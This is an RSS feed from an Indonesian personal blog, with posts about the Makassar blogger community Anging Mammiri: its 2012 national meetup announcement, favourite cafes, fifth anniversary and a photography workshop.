<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; angingmammiri</title>
	<atom:link href="http://daenggassing.com/category/angingmammiri/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Makassar Siap Menyambut Anda di Kopdar Blogger Nusantara 2012</title>
		<link>http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/</link>
		<comments>http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/#comments</comments>
		<pubDate>Wed, 25 Jan 2012 05:30:28 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Rabu]]></category>
		<category><![CDATA[BN2012]]></category>
		<category><![CDATA[Kopdar Blogger Nusantara 2012]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2310</guid>
		<description><![CDATA[Kopdar Blogger Nusantara 2011 di Sidoarjo bisa dibilang berhasil. Beragam kenangan berceceran dalam waktu lama selepas acara di bulan Oktober 2011 itu. 3 bulan kemudian, sebuah pengumuman resmi diluncurkan, Makassar akan jadi tuan rumah Kopdar Blogger Nusantara 2012. Senin siang di kantor baru Id Blognetwork di bilangan Jl. Gatot Subroto, Jakarta. Kantor mungil itu sudah [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2311" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/IMG_3951.jpg"><img class="size-full wp-image-2311" title="IMG_3951" src="http://daenggassing.com/wp-content/uploads/2012/01/IMG_3951.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Tawa Riang di Kopdar Blogger Nusantara 2011</p></div>
<blockquote>
<h3>Kopdar Blogger Nusantara 2011 di Sidoarjo bisa dibilang berhasil. Beragam kenangan berceceran dalam waktu lama selepas acara di bulan Oktober 2011 itu. 3 bulan kemudian, sebuah pengumuman resmi diluncurkan, Makassar akan jadi tuan rumah Kopdar Blogger Nusantara 2012.</h3>
</blockquote>
<p>Senin siang di kantor baru Id Blognetwork di bilangan Jl. Gatot Subroto, Jakarta. Kantor mungil itu sudah didesain sedemikian rupa untuk menyambut para tetamu yang datang dalam rangka syukuran kantor baru yang didesain seperti acara perayaan imlek.</p>
<p>Tawa riang, senyum lebar dan celoteh bersahabat memenuhi ruangan yang tak seberapa besar itu. Para peserta yang berasal dari beragam komunitas blog saling bersahabat dan melebur satu sama lain.</p>
<p>Menjelang akhir acara, sebuah pengumuman penting dibuka ke publik. Sebuah pengumuman yang sebenarnya sudah berhembus kencang sejak KBN 2011 selesai digelar dan kemudian dirumuskan secara serius selama dua hari sebelum acara syukuran kantor IBN. ?Kopdar Blogger Nusantara akan mencoba sebuah format berbeda. Sesuatu hal yang belum pernah dilakukan sebelumnya, menggelar acara blogger berskala nasional di kota di luar Jawa. Dan Makassar kemudian jadi pilihan.</p>
<p>Tentu ada banyak pertimbangan kenapa kota terbesar di pulau Sulawesi ini menjadi pilihan untuk tuan rumah Kopdar Blogger Nusantara 2012. Makassar adalah kota terbesar di timur Indonesia, saat ini Makassar menggeliat menjadi sebuah kota modern dengan pembangunan yang begitu pesat. Makassar adalah gerbang Indonesia bagian Timur, menyimpan eksotisme yang belum banyak dikenal orang.</p>
<p>Dari awal, Kopdar Blogger Nusantara memang mengusung sebuah anomali. Acara tidak selalu dipusatkan di Jakarta, sudah waktunya daerah lain mendapat kesempatan. Termasuk tentunya daerah di luar Jawa. Bahkan rencananya KBN akan digilir ke kota-kota lain setiap tahunnya.</p>
<p>Begitulah teman-teman. Saya dan tentu saja segenap kawan-kawan blogger dan onliner di Makassar dan Maros akan bersiap menjadi tuan rumah bagi teman-teman semua. Kami akan mengerahkan tenaga kami semampunya untuk membuat sebuah acara yang menarik yang bisa meninggalkan kesan luar biasa bagi teman-teman semua yang akan berkunjung ke Makassar.</p>
<p>Kami akan membuat sebuah format acara yang tidak hanya melulu berisi seminar atau talkshow. Kami akan mencoba membawa teman-teman semua mengenal Makassar lebih dalam, melihat banyak keindahan dari kota yang mungkin selama ini teman-teman hanya dengar sebagai kota yang kasar dan penuh dengan keributan.</p>
<p>Teman-teman, bersiaplah. Luangkan dana anda, mulailah menabung agar teman-teman bisa datang dan menikmati indahnya kota Makassar yang dibalut persahabatan antar blogger dan onliner. November 2012 masih lama, masih ada kesempatan untuk mempersiapkan diri dan dana anda.</p>
<p>Sampai jumpa di Kopdar Blogger Nusantara 2012 di Makassar bulan November nanti. Teman-teman bisa mulai melingkari tanggal 9 sampai 11 November dan mengambil cuti untuk ikut Kopdar Blogger Nusantara.</p>
<p>Makassar siap menyambut anda dalam Kopdar Blogger Nusantara 2012.</p>
<p>&nbsp;</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/" title="www tawa seru com 2012 formulir">www tawa seru com 2012 formulir</a> (10)</li><li><a href="http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/" title="blogger nusantara 2012">blogger nusantara 2012</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/" title="blogger nusantara makassar">blogger nusantara makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/" title="event makassar 2012">event makassar 2012</a> (1)</li><li><a href="http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/" title="kopdar makassar adalah">kopdar makassar adalah</a> (1)</li></ul><div class="shr-publisher-2310"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fmakassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/makassar-siap-menyambut-anda-di-kopdar-blogger-nusantara-2012/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Dari Cafe ke Cafe</title>
		<link>http://daenggassing.com/2011/12/dari-cafe-ke-cafe/</link>
		<comments>http://daenggassing.com/2011/12/dari-cafe-ke-cafe/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 16:02:07 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Kenangan]]></category>
		<category><![CDATA[cafe]]></category>
		<category><![CDATA[cafe IGO]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2109</guid>
		<description><![CDATA[Cafe adalah salah satu elemen penting dalam perjalanan komunitas Blogger Makassar, jadi tempat berkumpul dan merumuskan banyak hal Cafe aslinya adalah bahasa Perancis yang merujuk kepada kopi atau coffee. Di beberapa negara cafe diartikan sebagai tempat yang menjadikan kopi sebagai sajian utamanya di samping makanan kecil lainnya seperti kue tart, roti, pie dan lain-lain. Di [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2110" class="wp-caption aligncenter" style="width: 485px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/cafe-bloggers.jpg"><img class="size-full wp-image-2110" title="cafe bloggers" src="http://daenggassing.com/wp-content/uploads/2011/12/cafe-bloggers.jpg" alt="" width="475" height="317" /></a><p class="wp-caption-text">Cafe Blogger, Cafe tempat Anging Mammiri dulu biasa berkumpul</p></div>
<blockquote>
<h3>Cafe adalah salah satu elemen penting dalam perjalanan komunitas Blogger Makassar, jadi tempat berkumpul dan merumuskan banyak hal</h3>
</blockquote>
<p>Cafe aslinya adalah bahasa Perancis yang merujuk kepada kopi atau coffee. Di beberapa negara cafe diartikan sebagai tempat yang menjadikan kopi sebagai sajian utamanya di samping makanan kecil lainnya seperti kue tart, roti, pie dan lain-lain. Di Amerika Serikat, cafe dianggap sebagai restoran non formil karena rata-rata memang tidak menyuguhkan makanan berat. Orang Amerika lebih akrab dengan istilah <em>coffehouse</em>.</p>
<p>Pada periode tahun 90&#8242;an cafe merebak di hampir semua kota besar di Indonesia. Di Jakarta, para artis berbondong-bondong mendirikan cafe tenda. Di tempat lain, para pengusaha entah yang benar-benar pecinta kuliner ataupun hanya sekadar melihat peluang bisnis juga berebutan membuka cafe. Nongkrong di cafe jadi gaya hidup, salah satu pemicunya adalah serial Friends yang begitu populer di tahun 90an dengan salah satu scene utamanya nongrong di cafe.</p>
<p>Saya lupa kapan pertama kali menginjakkan kaki ke tempat yang bernama cafe , tapi selama ini saya lebih banyak menginjak cafe yang jauh berbeda dengan cafe yang ada di Perancis, Eropa atau Amerika sana. Kebanyakan adalah cafe sederhana, asal cafe kata orang. Mungkin lebih mirip warung kopi. Yang jelas cafe jadi salah satu tempat favorit untuk berkumpul dan nongkrong berjam-jam dengan teman-teman dekat.</p>
<p>Cafe juga jadi salah satu bagian penting dalam perjalanan komunitas Blogger Makassar, <a href="http://angingmammiri.org/">Anging Mammiri.org</a>. Dalam usianya yang masuk tahun kelima, cafe adalah tempat yang paling sering menjadi <em>meeting point</em>, tempat berkumpul atau sekadar nongkrong. Cafe memang bukan tempat pertama terbentuknya komunitas blogger terbesar di kota Makassar ini, tapi ternyata dalam perjalanannya ada beberapa cafe yang menjadi bagian penting dalam perjalanan komunitas ini.</p>
<p>Pada periode 2008-2010 di bilangan Jalan Perintis Kemerdekaan ada sebuah cafe cukup besar bernama cafe Blogger. Cafe ini punya seorang blogpreneur yang juga memiliki sekolah blog. Di sebuah ruko selebar 12 m inilah sebuah cafe didirikan. Beberapa anggota inti Anging Mammiri kebetulan bekerja di kantor di lantai 2 cafe ini.</p>
<p>Di cafe inilah dulu Anging Mammiri sering menggelar kopdar, pertemuan internal dan bahkan meeting serius. Di cafe ini juga untuk pertamakalinya saya memimpin rapat dalam posisi sebagai ketua komunitas, dan tahun 2009 dengan kemurahan hati sang pemilik akhirnya kami bisa menggelar acara puncak perayaan ulang tahun Anging Mammiri di cafe ini.</p>
<p>Sayangnya karena pada tahun 2010 akhirnya cafe ini harus ditutup menyusul perubahan kebijakan dari sang pemilik sehingga kami kemudian harus mencari tempat baru untuk berkumpul. Entah siapa yang pertama menemukannya sampai akhirnya kemudian kami sering berlabuh di IGO cafe and Bakery, letaknya di Jl. Pelita Raya tidak jauh dari sebuah jalan besar Jl. A.Pangerang Petta Rani.</p>
<p>Di cafe inilah kami kemudian banyak berkumpul, nongkrong dan menggelar acara resmi Anging Mammiri. Di bangunan berlantai dua inilah hampir semua acara bulanan Anging Mammiri bernama <a href="http://angingmammiri.org/category/angingmammiri/tudang-sipulung/">Tudang Sipulung</a> digelar. Semua acara dipusatkan di lantai dua.</p>
<div id="attachment_2101" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/rezIMG_4990.jpg"><img class="size-full wp-image-2101" title="rezIMG_4990" src="http://daenggassing.com/wp-content/uploads/2011/11/rezIMG_4990.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Suasana guyub dan akrab di peringatan ultah AM</p></div>
<p>Cafe yang sejatinya adalah rumah tinggal yang disulap ini memang berlantai dua. Lantai satu berisi beberapa meja dan kursi, termasuk di teras belakang yang menghadap langsung ke taman. Lantai duanya terdiri atas beberapa ruangan. Satu ruangan besar yang difungsikan sebagai cafe, sebuah ruang meeting dengan kapasitas sampai 20 orang, sebuah kantor dan bagian belakang yang menjadi dapur pembuatan roti.</p>
<p>Di bagian yang disulap menjadi cafe itulah acara-acara Anging Mammiri banyak digelar. Kami senang menggelar acara di sana karena ruangan itu tanpa kursi alias lesehan sehingga rasanya lebih nyaman dan bebas. Kami bisa ngobrol santai sambil tiduran, selonjoran dan bahkan pernah sampai benar-benar tertidur.</p>
<p>Untuk makanan, sebenarnya tidak ada yang istimewa dari IGO kecuali rotinya yang memang buatan sendiri. Saat perut terasa kenyang, roti itulah yang sering jadi teman ngobrol. Bila memang sedang lapar, maka sasaran kami adalah beberapa menu berat seperti ayam lalapan, mie ayam pangsit atau bakso. Sebenarnya bagi kami makanan atau minuman tidak terlalu penting bagaimana rasanya karena ketika berkumpul, maka kebahagiaan berkumpul itulah yang jadi fokus utama.</p>
<p>Di awal-awal kami berkumpul di sana, terkadang kami suka merasa tidak enak. Gara-garanya karena keasyikan berkumpul sampai-sampai kami tidak sadar kalau waktu tutup cafe sudah lama lewat. Suara pintu harmonika yang ditutup sebagai tanda cafe mau tutup kadang tidak kami acuhkan dan rupanya para pelayan cafe IGO juga segan untuk mengusir kami.</p>
<p>Setelah sekian lama berkumpul di sana dan menjadikan IGO sebagai sekertariat tidak resmi Anging Mammiri maka akhirnya muncul rasa saling mengerti. Mereka mengerti kalau kami tidak puas dengan kopdar 2-3 jam dan kami juga mengerti kalau mereka butuh istirahat meski ada sebagian juga yang tinggal di cafe itu.</p>
<p>Begitulah, cafe IGO selama kurun waktu setahun ini menjadi bagian penting dalam perjalanan Anging Mammiri. Kami beruntung bisa menemukan bangunan berlantai dua dengan cat dominan warna pink itu. Cafe sederhana yang menjadi tempat paling favorit bagi kami untuk berkumpul.</p>
<p>Bagaimana dengan anda ? punya cafe favorit ?</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/dari-cafe-ke-cafe/" title="ipul">ipul</a> (15)</li><li><a href="http://daenggassing.com/2011/12/dari-cafe-ke-cafe/" title="bisnis kafe di rumah tinggal">bisnis kafe di rumah tinggal</a> (3)</li><li><a href="http://daenggassing.com/2011/12/dari-cafe-ke-cafe/" title="hal penting dalam sebuah kafe">hal penting dalam sebuah kafe</a> (2)</li><li><a href="http://daenggassing.com/2011/12/dari-cafe-ke-cafe/" title="tempat nongkrong berjam-jam di tangerang">tempat nongkrong berjam-jam di tangerang</a> (2)</li><li><a href="http://daenggassing.com/2011/12/dari-cafe-ke-cafe/" title="cafe dengan ruang untuk meeting">cafe dengan ruang untuk meeting</a> (1)</li></ul><div class="shr-publisher-2109"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fdari-cafe-ke-cafe%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/dari-cafe-ke-cafe/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Lima TahunG Maki Sama-Sama</title>
		<link>http://daenggassing.com/2011/11/lima-tahung-maki-sama-sama/</link>
		<comments>http://daenggassing.com/2011/11/lima-tahung-maki-sama-sama/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 15:55:07 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Ulang Tahun]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2099</guid>
		<description><![CDATA[Lima tahun bukan waktu yang singkat. Juga bukan waktu yang cukup panjang. Tergantung kita melihat ke depan atau ke belakang. Suatu hari di sebuah rapat menjelang acara Bloglicious bulan Mei 2011 kemarin saya tidak mampu menahan emosi. Sebuah ucapan bernada keras meluncur keluar dari mulut saya dan selepas itu saya meninggalkan rapat tanpa basa-basi. Suatu [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2100" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/rezIMG_4970.jpg"><img class="size-full wp-image-2100" title="rezIMG_4970" src="http://daenggassing.com/wp-content/uploads/2011/11/rezIMG_4970.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Kue sederhana untuk ulang tahun Paccarita</p></div>
<blockquote>
<h3>Lima tahun bukan waktu yang singkat. Juga bukan waktu yang cukup panjang. Tergantung kita melihat ke depan atau ke belakang.</h3>
</blockquote>
<p>Suatu hari di sebuah rapat menjelang acara Bloglicious bulan Mei 2011 kemarin saya tidak mampu menahan emosi. Sebuah ucapan bernada keras meluncur keluar dari mulut saya dan selepas itu saya meninggalkan rapat tanpa basa-basi. Suatu hari saya sempat menegur keras seorang teman di Anging Mammiri, akibatnya sang teman kemudian merasa terluka dan berniat mengundurkan diri. Keputusan itu membuat teman yang lain merasa sedih dan bahkan menangis.</p>
<p>Dua kisah di atas adalah sedikit dari beberapa kisah kelam dalam perjalanan usia komunitas kami, Anging Mammiri.org. Dalam rentang lima tahun dan khusus hampir dua tahun semenjak saya didaulat menjadi ketua, beragam warna sudah pernah hadir menghiasi perjalanan komunitas dari selatan pulau Sulawesi ini. Untungnya karena warna kelam seperti yang tertulis di atas hanyalah satu noktah kecil yang tenggelam oleh beragam warna cerah ceria.</p>
<p>Dalam rentang lima tahun ini secara tidak sadar kekeluargaan, kedekatan dan keakraban terbangun pelan-pelan. Dari yang awalnya malu-malu hingga kemudian menjadi sebuah perekat yang sangat kuat yang membuat sebagian dari kami begitu mencandui kata kopdar. Pun ketika emosi tersulut, keputusan untuk mundur keluar dalam bilangan hari keputusan itu berubah. Ikatan yang erat itu pula yang membuat salah seorang dari kami memutuskan untuk tetap berada di Makassar dan enggan kembali ke kota yang telah menjadi kota keduanya dalam beberapa tahun terakhir.</p>
<p>Begitulah, sebuah komunitas yang awalnya dicetuskan 7 blogger jebolan Blogfam itu akhirnya bergulir dan makin ramai dari hari ke hari. Dari jumlah anggota yang hanya puluhan hingga kemudian menjadi ratusan seperti sekarang ini. Anggota bisa datang silih berganti, tapi rasa kebersamaan dan kekeluargaan selalu ada di sana, di dalam setiap interaksi antar anggota.</p>
<p>25 november 2011, Anging Mammiri genap berusia 5 tahun. Sudah cukup tua bila kita melihat ke belakang, tapi masih sangat muda bila melihat ke depan. Jalan masih panjang, masih banyak hal yang harus dilakukan supaya komunitas ini tidak sekadar sebuah komunitas tempat berkumpul dan bersenang-senang. Masih banyak impian untuk menjadi sebuah wadah mempromosikan kota Makassar, menjadi alat untuk berbuat lebih banyak kepada kota di pesisir pantai ini.</p>
<div id="attachment_2101" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/rezIMG_4990.jpg"><img class="size-full wp-image-2101" title="rezIMG_4990" src="http://daenggassing.com/wp-content/uploads/2011/11/rezIMG_4990.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Suasana guyub dan akrab di peringatan ultah AM</p></div>
<p>25 November 2011, belasan anggota Anging Mammiri beserta dua orang founder berkumpul di sebuah caf? berlantai dua yang selama setahun ini seakan menjadi tempat berkumpul resmi kami. Sebuah kue sederhana dipotong dan dibagikan, persis seperti keceriaan selama ini yang juga dipotong dan dibagikan ke semua anggota. Derai tawa memenuhi ruangan ketika kami semua berbagi cerita tentang awal pertemuan dan perkenalan hingga terajut rasa kebersamaan itu.</p>
<p>25 November 2011, Anging Mammiri sudah genap berusia 5 tahun. Jalan panjang masih membentang di depan. Secara pribadi saya selalu berharap komunitas ini akan selalu ada, selalu punya alasan untuk tetap ada dan tetap berkarya. Saya selalu berharap komunitas ini akan selalu ada menjadi sebuah rumah yang nyaman untuk para anggotanya, mereka yang selalu memiliki hasrat untuk berbagi dan bekerja bersama dalam sebuah komunitas.</p>
<p>25 November 2011 dan tidak terasa lima tahunG maki sama-sama.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/11/lima-tahung-maki-sama-sama/" title="ipul angingmammiri">ipul angingmammiri</a> (3)</li></ul><div class="shr-publisher-2099"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F11%2Flima-tahung-maki-sama-sama%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/11/lima-tahung-maki-sama-sama/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Catatan Dari Sharing Keliling Makassar</title>
		<link>http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/</link>
		<comments>http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 04:57:48 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[sharing keliling]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1903</guid>
		<description><![CDATA[Fotografi tidak selamanya tentang alat. Kalimat pendek di atas adalah kesimpulan yang saya tangkap dari kelas fotografi yang merupakan rangkaian acara Sharing Keliling Makassar. Kelas fotografi yang dipandu oleh Maryssa Tunjung Sari adalah salah satu kelas dari tiga kelas yang berjalan bersamaan. Kelas yang lain adalah kelas menulis yang diisi oleh Artashya Sudirman dan kelas [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1904" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2940.jpg"><img class="size-full wp-image-1904" title="_IMG_2940" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2940.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Maryssa Tunjung Sari membawakan materi kelas fotografi</p></div>
<blockquote>
<h2>Fotografi tidak selamanya tentang alat.</h2>
</blockquote>
<p>Kalimat pendek di atas adalah kesimpulan yang saya tangkap dari kelas fotografi yang merupakan rangkaian acara Sharing Keliling Makassar. Kelas fotografi yang dipandu oleh Maryssa Tunjung Sari adalah salah satu kelas dari tiga kelas yang berjalan bersamaan. Kelas yang lain adalah kelas menulis yang diisi oleh Artashya Sudirman dan kelas Video yang diisi oleh Prisia Nasution bersama Motulz.</p>
<p>Acara ini adalah gelaran dari Saling-Silang yang didukung penuh oleh Acer, XL Axiata, Garuda Indonesia Airlines dan Internet Sehat serta bekerjasama dengan komunitas blogger Makassar ? AngingMammiri.org.</p>
<p>Tiga kelas yang terlihat begitu menggoda, sehingga tidak heran kalau peserta begitu antusias. Kurang dari 24 jam setelah diumumkan di blog AngingMammiri, pendaftaran terpaksa kami tutup karena kuota sudah terpenuhi. Padahal saat mengumumkan pertama kali, kami belum sempat menuliskan nama pembicara karena memang belum mendapat kepastian dari pihak salingsilang. Ini berarti bahwa para peserta benar-benar tertarik pada materi, bukan hanya pada siapa yang membawakan.</p>
<p>Untuk beberapa orang sepertinya memang agak susah menentukan kelas mana yang akan dipilih karena ketiganya sangat menggiurkan. Tidak heran kalau pertanyaan : <strong>kenapa kelasnya tidak bergiliran saja ?</strong> Adalah pertanyaan yang banyak kami dengar. Tapi mau bagaimana lagi, itu sudah format baku dari sananya, dan jelas tidak dapat diubah lagi.</p>
<p>Saya sendiri bingung memilih antara mau konsentrasi di kelas menulis atau kelas fotografi karena kedua kelas itu sepertinya lumayan menggoda dengan dua orang pemateri yang punya gaya mengajar yang menarik. Akhirnya saya memutuskan untuk konsen lebih lama di kelas fotografi.</p>
<p><strong>Maryssa Tunjung Sari</strong>. Terus terang saya yang memang dasarnya kurang gaul ini sama sekali belum pernah mendengar nama beliau sebelumnya, apalagi di negeri ini jumlah fotografer wanita memang kalah jumlah dari fotgrafer pria.</p>
<p>Gaya bicara yang lugas, tegas tapi cukup santai dan nyaman mengantarkan para peserta kepada pengenalan dasar-dasar fotografi. Sebagian besar materi yang dibawakan oleh Maryssa atau yang lebih akrab disapa Sha Sha adalah tentang mobile fotografi, bagaimana mendapatkan momen yang bagus dan hasil foto yang berbicara dengan hanya menggunakan kamera pocket atau bahkan kamera handphone.</p>
<p>Bagi ShaSha, fotografi memang tidak selamanya tentang bagaimana membekukan momen menggunakan kamera DSLR canggih dengan lensa mahal tapi adalah bagaimana momen tersebut dibekukan sehingga hasilnya kemudian dapat berbicara banyak dan langsung menyentuh orang yang melihatnya.</p>
<p>Sambil memberikan tips-tips dan pengetahuan dasar fotografi, ShaSha juga menampilkan slide berisi foto-foto hasil tangkapannya. Saya bisa melihat bahwa foto-foto yang diambil oleh Sha Sha memang sangat mementingkan konsep dan momen, bukan pada teknik atau komposisi seperti yang biasa memusingkan para fotografer pemula.</p>
<p>Konsep. Kalimat itu juga yang menjadi salah satu kalimat sakti yang saya tangkap siang itu. Seorang fotografer yang bagus harus memiliki konsep yang jelas sebelum menekan tombol shutter. Sha Sha bercerita bagaimana dia membuat sebuah foto pra wedding dengan konsep yang sederhana tapi begitu memikat. Melibatkan segelas cappucino dan segelas kopi hitam, melambangkan penyatuan dua rasa yang berbeda.</p>
<p><strong>Konsep yang bagus tentunya hadir lewat kreatifitas yang tak terbatas</strong>, dan untuk menumbuhkan kreatifitas itu tentu butuh banyak stimulasi. Sha Sha memberikan satu tips, harus rajin-rajin melihat. Sesuatu yang saat ini sudah tidak begitu sulit lagi. Anda tinggal mengetik kata kunci di Google dan dengan hitungan detik ratusan contoh foto akan terpampang di sana, tinggal bagaimana anda menggunakannya sebagai stimulasi untuk konsep yang ingin anda buat.</p>
<div id="attachment_1905" class="wp-caption alignleft" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2987.jpg"><img class="size-medium wp-image-1905" title="_IMG_2987" src="http://daenggassing.com/wp-content/uploads/2011/09/IMG_2987-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Prisa Nasution berfoto bersama seorang fans</p></div>
<p>Kelas fotografi ini berlangsung begitu menarik sehingga waktu 3 jam rasanya sangat singkat. Gaya Sha Sha membawakan materi yang terkesan santai dan tidak berjarak memang terasa sangat menarik. Dari informasi yang saya dengar, kelas yang lain juga begitu. Semua berjalan menarik. Artasya punya cara sendiri untuk membuat kelas menjadi tidak membosankan, begitu pula dengan duet Prisia Nasution dan Motulz yang mesti membawakan materi tanpa slide karena converter iPad-nya lupa terbawa.</p>
<p>Ada satu kejadian lucu, saya dan teman-teman panitia dari Anging Mammiri baru sadar kalau ternyata Prisia itu adalah seorang artis yang malang melintang di berbagai FTV atau sinetron di TV lokal kita. Kami baru sadar ketika beberapa peserta yang memang masih terhitung remaja begitu gembira ketika melihat sosok Prisa. Beruntung bagi mereka karena Prisa sama sekali bukan tipe artis yang jaim, sebaliknya dia sangat ramah dalam berinteraksi.</p>
<p>Sharing Keliling Makassar akhirnya selesai sekitar pukul 3 sore, sekaligus menandai akhir perjalanan dari Sharing Keliling yang sudah singgah di berbagai kota di Indonesia. Para peserta terlihat begitu senang karena tentu saja mereka menemukan berbagai perspektif baru dan wawasan baru berkat tiga kelas yang luar biasa itu. Kami bersyukur karena acara tersebut ternyata bisa berjalan lumayan lancar di tengah persiapan yang sempit.</p>
<p>Terima kasih untuk semua pihak yang sudah memungkinkan tergelarnya acara Sharing Keliling Makassar dengan lancar. Sampai jumpa lagi di acara Anging Mammiri lainnya. Salam blogger !!</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/" title="keliling makasar">keliling makasar</a> (1)</li><li><a href="http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/" title="maryssa tunjung sari">maryssa tunjung sari</a> (1)</li><li><a href="http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/" title="maryssa tunjungsari">maryssa tunjungsari</a> (1)</li><li><a href="http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/" title="profil maryssa tunjung sari">profil maryssa tunjung sari</a> (1)</li></ul><div class="shr-publisher-1903"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F09%2Fcatatan-dari-sharing-keliling-makassar%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/09/catatan-dari-sharing-keliling-makassar/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Berbuka Bersama Pasukan Bintang</title>
		<link>http://daenggassing.com/2011/08/berbuka-bersama-pasukan-bintang/</link>
		<comments>http://daenggassing.com/2011/08/berbuka-bersama-pasukan-bintang/#comments</comments>
